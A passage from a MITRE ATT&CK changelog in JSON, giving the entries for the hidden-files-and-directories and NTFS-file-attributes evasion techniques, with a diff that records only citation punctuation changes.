                    "description": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name.(Citation: Sofacy Komplex Trojan)(Citation: Antiquated Mac Malware) Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app.(Citation: WireLurker) On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \u201cspace\u201d character.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1564/001",
                            "external_id": "T1564.001"
                        },
                        {
                            "source_name": "WireLurker",
                            "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                            "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
                        },
                        {
                            "source_name": "Sofacy Komplex Trojan",
                            "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                            "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                        },
                        {
                            "source_name": "Antiquated Mac Malware",
                            "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                            "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Gr@ve_Rose (tcpdump101.com on bsky)"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:01:51.368000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \\u2013a</code> for Linux and macOS).\\n\\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name.(Citation: Sofacy Komplex Trojan)(Citation: Antiquated Mac Malware) Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n\\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app.(Citation: WireLurker) On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n\\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n\\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\", \"old_value\": \"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \\u2013a</code> for Linux and macOS).\\n\\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n\\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n\\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n\\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +1,8 @@\\n Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \\u2013a</code> for Linux and macOS).\\n \\n-On Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n+On Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name.(Citation: Sofacy Komplex Trojan)(Citation: Antiquated Mac Malware) Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n \\n-Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n+Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app.(Citation: WireLurker) On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n \\n Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to63__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to63__0\"><a href=\"#difflib_chg_to63__top\">t</a></td><td class=\"diff_header\" id=\"from63_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;set&nbsp;files&nbsp;and&nbsp;directories&nbsp;to&nbsp;be&nbsp;hidden&nbsp;to&nbsp;ev</td><td class=\"diff_next\"><a href=\"#difflib_chg_to63__top\">t</a></td><td class=\"diff_header\" id=\"to63_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;set&nbsp;files&nbsp;and&nbsp;directories&nbsp;to&nbsp;be&nbsp;hidden&nbsp;to&nbsp;ev</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ade&nbsp;detection&nbsp;mechanisms.&nbsp;To&nbsp;prevent&nbsp;normal&nbsp;users&nbsp;from&nbsp;accid</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ade&nbsp;detection&nbsp;mechanisms.&nbsp;To&nbsp;prevent&nbsp;normal&nbsp;users&nbsp;from&nbsp;accid</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">entally&nbsp;changing&nbsp;special&nbsp;files&nbsp;on&nbsp;a&nbsp;system,&nbsp;most&nbsp;operating&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">entally&nbsp;changing&nbsp;special&nbsp;files&nbsp;on&nbsp;a&nbsp;system,&nbsp;most&nbsp;operating&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ystems&nbsp;have&nbsp;the&nbsp;concept&nbsp;of&nbsp;a&nbsp;\u2018hidden\u2019&nbsp;file.&nbsp;These&nbsp;files&nbsp;don\u2019</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ystems&nbsp;have&nbsp;the&nbsp;concept&nbsp;of&nbsp;a&nbsp;\u2018hidden\u2019&nbsp;file.&nbsp;These&nbsp;files&nbsp;don\u2019</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;show&nbsp;up&nbsp;when&nbsp;a&nbsp;user&nbsp;browses&nbsp;the&nbsp;file&nbsp;system&nbsp;with&nbsp;a&nbsp;GUI&nbsp;or&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;show&nbsp;up&nbsp;when&nbsp;a&nbsp;user&nbsp;browses&nbsp;the&nbsp;file&nbsp;system&nbsp;with&nbsp;a&nbsp;GUI&nbsp;or&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">when&nbsp;using&nbsp;normal&nbsp;commands&nbsp;on&nbsp;the&nbsp;command&nbsp;line.&nbsp;Users&nbsp;must&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">when&nbsp;using&nbsp;normal&nbsp;commands&nbsp;on&nbsp;the&nbsp;command&nbsp;line.&nbsp;Users&nbsp;must&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xplicitly&nbsp;ask&nbsp;to&nbsp;show&nbsp;the&nbsp;hidden&nbsp;files&nbsp;either&nbsp;via&nbsp;a&nbsp;series&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xplicitly&nbsp;ask&nbsp;to&nbsp;show&nbsp;the&nbsp;hidden&nbsp;files&nbsp;either&nbsp;via&nbsp;a&nbsp;series&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;Graphical&nbsp;User&nbsp;Interface&nbsp;(GUI)&nbsp;prompts&nbsp;or&nbsp;with&nbsp;command&nbsp;lin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;Graphical&nbsp;User&nbsp;Interface&nbsp;(GUI)&nbsp;prompts&nbsp;or&nbsp;with&nbsp;command&nbsp;lin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;switches&nbsp;(&lt;code&gt;dir&nbsp;/a&lt;/code&gt;&nbsp;for&nbsp;Windows&nbsp;and&nbsp;&lt;code&gt;ls&nbsp;\u2013a&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;switches&nbsp;(&lt;code&gt;dir&nbsp;/a&lt;/code&gt;&nbsp;for&nbsp;Windows&nbsp;and&nbsp;&lt;code&gt;ls&nbsp;\u2013a&lt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;&nbsp;for&nbsp;Linux&nbsp;and&nbsp;macOS).&nbsp;&nbsp;On&nbsp;Linux&nbsp;and&nbsp;Mac,&nbsp;users&nbsp;can&nbsp;ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;&nbsp;for&nbsp;Linux&nbsp;and&nbsp;macOS).&nbsp;&nbsp;On&nbsp;Linux&nbsp;and&nbsp;Mac,&nbsp;users&nbsp;can&nbsp;ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rk&nbsp;specific&nbsp;files&nbsp;as&nbsp;hidden&nbsp;simply&nbsp;by&nbsp;putting&nbsp;a&nbsp;\u201c.\u201d&nbsp;as&nbsp;the&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rk&nbsp;specific&nbsp;files&nbsp;as&nbsp;hidden&nbsp;simply&nbsp;by&nbsp;putting&nbsp;a&nbsp;\u201c.\u201d&nbsp;as&nbsp;the&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">irst&nbsp;character&nbsp;in&nbsp;the&nbsp;file&nbsp;or&nbsp;folder&nbsp;name<span class=\"diff_chg\">&nbsp;&nbsp;</span>(Citation:&nbsp;Sofacy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">irst&nbsp;character&nbsp;in&nbsp;the&nbsp;file&nbsp;or&nbsp;folder&nbsp;name<span class=\"diff_chg\">.</span>(Citation:&nbsp;Sofacy&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Komplex&nbsp;Trojan)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Antiquated&nbsp;Mac&nbsp;Malware)<span class=\"diff_sub\">.</span>&nbsp;Files&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Komplex&nbsp;Trojan)(Citation:&nbsp;Antiquated&nbsp;Mac&nbsp;Malware)&nbsp;Files&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;folders&nbsp;that&nbsp;start&nbsp;with&nbsp;a&nbsp;period,&nbsp;\u2018.\u2019,&nbsp;are&nbsp;by&nbsp;default&nbsp;hid</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">folders&nbsp;that&nbsp;start&nbsp;with&nbsp;a&nbsp;period,&nbsp;\u2018.\u2019,&nbsp;are&nbsp;by&nbsp;default&nbsp;hidden</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">den&nbsp;from&nbsp;being&nbsp;viewed&nbsp;in&nbsp;the&nbsp;Finder&nbsp;application&nbsp;and&nbsp;standard</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;from&nbsp;being&nbsp;viewed&nbsp;in&nbsp;the&nbsp;Finder&nbsp;application&nbsp;and&nbsp;standard&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;command-line&nbsp;utilities&nbsp;like&nbsp;\u201cls\u201d.&nbsp;Users&nbsp;must&nbsp;specifically&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mmand-line&nbsp;utilities&nbsp;like&nbsp;\u201cls\u201d.&nbsp;Users&nbsp;must&nbsp;specifically&nbsp;chan</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hange&nbsp;settings&nbsp;to&nbsp;have&nbsp;these&nbsp;files&nbsp;viewable.&nbsp;&nbsp;Files&nbsp;on&nbsp;macOS</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ge&nbsp;settings&nbsp;to&nbsp;have&nbsp;these&nbsp;files&nbsp;viewable.&nbsp;&nbsp;Files&nbsp;on&nbsp;macOS&nbsp;ca</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;also&nbsp;be&nbsp;marked&nbsp;with&nbsp;the&nbsp;UF_HIDDEN&nbsp;flag&nbsp;which&nbsp;prevents&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;also&nbsp;be&nbsp;marked&nbsp;with&nbsp;the&nbsp;UF_HIDDEN&nbsp;flag&nbsp;which&nbsp;prevents&nbsp;them</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hem&nbsp;from&nbsp;being&nbsp;seen&nbsp;in&nbsp;Finder.app,&nbsp;but&nbsp;still&nbsp;allows&nbsp;them&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;from&nbsp;being&nbsp;seen&nbsp;in&nbsp;Finder.app,&nbsp;but&nbsp;still&nbsp;allows&nbsp;them&nbsp;to&nbsp;be&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">be&nbsp;seen&nbsp;in&nbsp;Terminal.app<span class=\"diff_chg\">&nbsp;</span>(Citation:&nbsp;WireLurker)<span class=\"diff_sub\">.</span>&nbsp;On&nbsp;Windows,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">seen&nbsp;in&nbsp;Terminal.app<span class=\"diff_chg\">.</span>(Citation:&nbsp;WireLurker)&nbsp;On&nbsp;Windows,&nbsp;user</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">users&nbsp;can&nbsp;mark&nbsp;specific&nbsp;files&nbsp;as&nbsp;hidden&nbsp;by&nbsp;using&nbsp;the&nbsp;attrib.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;can&nbsp;mark&nbsp;specific&nbsp;files&nbsp;as&nbsp;hidden&nbsp;by&nbsp;using&nbsp;the&nbsp;attrib.exe&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">exe&nbsp;binary.&nbsp;Many&nbsp;applications&nbsp;create&nbsp;these&nbsp;hidden&nbsp;files&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">binary.&nbsp;Many&nbsp;applications&nbsp;create&nbsp;these&nbsp;hidden&nbsp;files&nbsp;and&nbsp;fold</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">folders&nbsp;to&nbsp;store&nbsp;information&nbsp;so&nbsp;that&nbsp;it&nbsp;doesn\u2019t&nbsp;clutter&nbsp;up&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ers&nbsp;to&nbsp;store&nbsp;information&nbsp;so&nbsp;that&nbsp;it&nbsp;doesn\u2019t&nbsp;clutter&nbsp;up&nbsp;the&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;user\u2019s&nbsp;workspace.&nbsp;For&nbsp;example,&nbsp;SSH&nbsp;utilities&nbsp;create&nbsp;a&nbsp;.ss</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ser\u2019s&nbsp;workspace.&nbsp;For&nbsp;example,&nbsp;SSH&nbsp;utilities&nbsp;create&nbsp;a&nbsp;.ssh&nbsp;fo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;folder&nbsp;that\u2019s&nbsp;hidden&nbsp;and&nbsp;contains&nbsp;the&nbsp;user\u2019s&nbsp;known&nbsp;hosts&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lder&nbsp;that\u2019s&nbsp;hidden&nbsp;and&nbsp;contains&nbsp;the&nbsp;user\u2019s&nbsp;known&nbsp;hosts&nbsp;and&nbsp;k</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;keys.&nbsp;&nbsp;Additionally,&nbsp;adversaries&nbsp;may&nbsp;name&nbsp;files&nbsp;in&nbsp;a&nbsp;mann</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eys.&nbsp;&nbsp;Additionally,&nbsp;adversaries&nbsp;may&nbsp;name&nbsp;files&nbsp;in&nbsp;a&nbsp;manner&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;that&nbsp;would&nbsp;allow&nbsp;the&nbsp;file&nbsp;to&nbsp;be&nbsp;hidden&nbsp;such&nbsp;as&nbsp;naming&nbsp;a&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hat&nbsp;would&nbsp;allow&nbsp;the&nbsp;file&nbsp;to&nbsp;be&nbsp;hidden&nbsp;such&nbsp;as&nbsp;naming&nbsp;a&nbsp;file&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ile&nbsp;only&nbsp;a&nbsp;\u201cspace\u201d&nbsp;character.&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;use&nbsp;this&nbsp;to&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">only&nbsp;a&nbsp;\u201cspace\u201d&nbsp;character.&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;use&nbsp;this&nbsp;to&nbsp;their</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">heir&nbsp;advantage&nbsp;to&nbsp;hide&nbsp;files&nbsp;and&nbsp;folders&nbsp;anywhere&nbsp;on&nbsp;the&nbsp;sys</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;advantage&nbsp;to&nbsp;hide&nbsp;files&nbsp;and&nbsp;folders&nbsp;anywhere&nbsp;on&nbsp;the&nbsp;system&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tem&nbsp;and&nbsp;evading&nbsp;a&nbsp;typical&nbsp;user&nbsp;or&nbsp;system&nbsp;analysis&nbsp;that&nbsp;does&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;evading&nbsp;a&nbsp;typical&nbsp;user&nbsp;or&nbsp;system&nbsp;analysis&nbsp;that&nbsp;does&nbsp;not&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">not&nbsp;incorporate&nbsp;investigation&nbsp;of&nbsp;hidden&nbsp;files.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">incorporate&nbsp;investigation&nbsp;of&nbsp;hidden&nbsp;files.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0032: Detection Strategy for Hidden Files and Directories"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-13 20:33:00.009000+00:00",
                    "modified": "2026-11-04 01:02:57.212000+00:00",
                    "name": "NTFS File Attributes",
                    "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.(Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes,(Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).(Citation: SpectorOps Host-Based Jul 2017)(Citation: Microsoft File Streams)(Citation: MalwareBytes ADS July 2015)(Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.(Citation: Journey into IR ZeroAccess NTFS EA)(Citation: MalwareBytes ADS July 2015)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1564/004",
                            "external_id": "T1564.004"
                        },
                        {
                            "source_name": "MalwareBytes ADS July 2015",
                            "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
                            "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"
                        },
                        {
                            "source_name": "SpectorOps Host-Based Jul 2017",
                            "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.",
                            "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea"
                        },
                        {
                            "source_name": "Journey into IR ZeroAccess NTFS EA",
                            "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
                            "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html"
                        },
                        {
                            "source_name": "Microsoft NTFS File Attributes Aug 2010",
                            "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
                            "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/"
                        },
                        {
                            "source_name": "Microsoft ADS Mar 2014",
                            "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                            "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"
                        },
                        {
                            "source_name": "Microsoft File Streams",
                            "description": "Microsoft. (n.d.). File Streams. Retrieved September 12, 2024.",
                            "url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Oddvar Moe, @oddvarmoe",
                        "Red Canary"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
